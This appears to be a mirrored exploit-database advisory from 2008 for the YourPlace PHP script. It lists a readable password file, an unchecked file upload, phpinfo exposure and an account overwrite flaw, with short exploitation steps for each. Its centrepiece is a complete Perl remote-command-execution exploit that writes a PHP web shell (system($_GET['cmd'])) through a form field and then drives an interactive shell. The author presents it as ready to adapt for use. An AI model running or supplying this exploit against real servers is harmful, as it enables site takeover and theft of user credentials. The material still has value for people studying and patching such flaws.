Lucene search
K

yourplace <= 1.0.2 - Multiple Vulnerabilities + rce exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

YourPlace <= 1.0.2 - Multiple Vulnerabilities including RCE exploi

Code

                                                [START]

############################################################################################################################################
[0x01] Informations:

Script         : YourPlace 0.5 (beta 1)
Download       : http://www.hotscripts.com/jump.php?listing_id=80545&jump_type=1
Vulnerability  : DB Disclosure / Arbitrary Data Saving (RCE EXPLOIT) / Arbitrary File Upload / PHPInfo Disclosure / User Change Account
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

* This script has also other vulnerability. Here you can find just the major ones !
  I wrote a simple RCE Exploit also.


############################################################################################################################################
[0x02] Bug: [Database Disclosure]
######

Vulnerable file is: /[path]/user/info/users.txt

This script uses a .txt file to store usernames and passwords.

### [!] EXPLOIT:
                 1) Go at: /[path]/user/info/users.txt
                 2) Get username and password !
                 ex: osirys	$1$H9mfzCTo$gbuasEowB1agfEqWolcGR.
                     username   password crypted with crypt function


############################################################################################################################################
[0x03] Bug: [Arbitrary Data Saving] ## RCE EXPLOIT !!
######

Bugged file is: /[path]/internettoolbar/edit.php

To exploit this vulnerability, we must be logged in.

[CODE]

				$fav5_url = $_POST[&#39;fav5_url&#39;];
				$fav1_name = $_POST[&#39;fav5_name&#39;];
				
				$write = &#34;&#60;? \n &#36;homepage = &#39;&#34;.$homepage.&#34;&#39;;\n \n 
									&#36;fav1_url = &#39;&#34;.$fav1_url.&#34;&#39;;\n
									&#36;fav1_name = &#39;&#34;.$fav1_name.&#34;&#39;;\n \n
									&#36;fav2_url = &#39;&#34;.$fav2_url.&#34;&#39;;\n
									&#36;fav2_name = &#39;&#34;.$fav2_name.&#34;&#39;;\n \n
									&#36;fav3_url = &#39;&#34;.$fav3_url.&#34;&#39;;\n
									&#36;fav3_name = &#39;&#34;.$fav3_name.&#34;&#39;;\n \n
									&#36;fav4_url = &#39;&#34;.$fav4_url.&#34;&#39;;\n
									&#36;fav4_name = &#39;&#34;.$fav4_name.&#34;&#39;;\n \n
									&#36;fav5_url = &#39;&#34;.$fav5_url.&#34;&#39;;\n
									&#36;fav5_name = &#39;&#34;.$fav5_name.&#34;&#39;;\n \n ?&#62;&#34;;
									
				$write = str_replace(&#39;&#36;&#39;,&#39;$&#39;,$write);
				$fp = fopen(&#34;../user/internettoolbar/index.php&#34;, &#34;w+&#34;);
				$fw = fwrite($fp, $write);

[/CODE]

All the $fav variables come from POST. There is any cheek on what the user put in the form of $fav vars.
Then the script will save the value of this vars in /[path]/user/internettoolbar/index.php.
So we can put an evil php code ;)
I wrote a simple exploit, a simple proof of concept, change it in your own way ;)
This exploit can be adapted to your own needs.

############################################################
##########################################
## Remote Command Execution Perl Exploit

[code]

#!/usr/bin/perl

use HTTP::Request;
use LWP::UserAgent;

my $path      = &#34;/internettoolbar/edit.php&#34;;
my $exec_path = &#34;/user/internettoolbar/index.php&#34;;
my $c0de      = &#34;lol.it&#39;;?&#62;&#60;?php system(\$_GET[&#39;cmd&#39;]);&#39;&#34;;
my $host      = $ARGV[0];


($host) || help(&#34;-1&#34;);
cheek($host) == 1 || help(&#34;-2&#34;);
&banner;

print &#34;[+] Connecting to $host ..\n&#34;;
print &#34;[+] Writing hell php code ..\n&#34;;

my $url = $host.$path;

my $ua = LWP::UserAgent-&#62;new;
my $post = $ua-&#62;post($url,
                          [
                            fav1_url =&#62; $c0de,
                            do       =&#62; submit
                          ]);

if ($post-&#62;is_success) {
    print &#34;[+] Commands:\n&#34;;
    print &#34;    exit         -&#62; quit the exploit \n&#34;;
    print &#34;    your command -&#62; exec your cmd    \n&#34;;
    &exec_cmd;
}
else {
    print &#34;[-] Can&#39;t write hell code !\n&#34;;
    exit(0);
}

sub exec_cmd {
    print &#34;shell[Osirys]$&#62;\n&#34;;
    $cmd = &#60;STDIN&#62;;
    $cmd !~ /exit/ || die &#34;[-] Quitting ..\n&#34;;
    $exec_url = ($host.$exec_path.&#34;?cmd=&#34;.$cmd);
    $re = query($exec_url);
    if ($re =~ /\?&#62;(.*)/) {
        print &#34;[*] $1\n&#34;;
        &exec_cmd;
    }
    else {
        print &#34;[-] Undefined output or bad cmd !\n&#34;;
        &exec_cmd;
    }
}

sub query() {
    $link = $_[0];
    my $req = HTTP::Request-&#62;new(GET =&#62; $link);
    my $ua = LWP::UserAgent-&#62;new();
    $ua-&#62;timeout(4);
    my $response = $ua-&#62;request($req);
    return $response-&#62;content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub banner {
    print &#34;\n&#34;.
          &#34;  ============================ \n&#34;.
          &#34;     YourPlace RCE Exploit     \n&#34;.
          &#34;      Coded by Osirys          \n&#34;.
          &#34;      osirys[at]live[dot]it    \n&#34;.
          &#34;      Proud to be italian      \n&#34;.
          &#34;  ============================ \n\n&#34;;
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print &#34;\n[-] Cheek that you typed the hostname address and the command to execute !\n&#34;;
    }
    elsif ($error == -2) {
        &banner;
        print &#34;\n[-] Bad hostname address !\n&#34;;
    }
    print &#34;[*] Usage : perl $0 http://hostname/cms_path\n\n&#34;;
    exit(0);
}

[/CODE]


############################################################################################################################################
[0x04] Bug: [Arbitrary File Upload]
######

Bugged file is: /[path]/apps/standard/upload.php

To upload our local file we must be logged in. Then we can upload any file.
The bug here is to allow user to upload file of any extensions, in fact there isn&#39;t any extension cheek.


### [!] EXPLOIT: 
                 1) Go at: /[path]/apps/standard/upload.php
                 2) Upload your local file.
                 3) Cheek it here: /[path]/user/uploads/your_file.your_ext


############################################################################################################################################
[0x05] Bug: [PHPInfo Disclosure]
######

Vulnerable file is: /[path]/user/uploads/phpinfo.php


### [!] EXPLOIT:
                 1) Go at /[path]/user/uploads/phpinfo.php
                 2) Get php information


############################################################################################################################################
[0x06] Bug: [User Change Account]
######

Bugged file is: /[path]/login/register.php

[CODE]

if (isset ($_POST[&#39;submit&#39;])) {
	$fp = fopen ( &#39;../user/info/users.txt&#39;, &#39;w+&#39; );
	
	if ($fp){
		$data = $_POST[&#39;username&#39;].&#34;\t&#34;.crypt($_POST[&#39;password&#39;]).&#34;\r\n&#34;;
		fwrite ( $fp, $data );
		fclose ( $fp );
		echo &#34;:-)&#34;;
	}

[/CODE]

Registering a new user, the old one will be deleted.


### [!] EXPLOIT: Go at: /[path]/login/register_form.php
                 Register your new user


############################################################################################################################################

[/END]

# milw0rm.com [2008-12-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation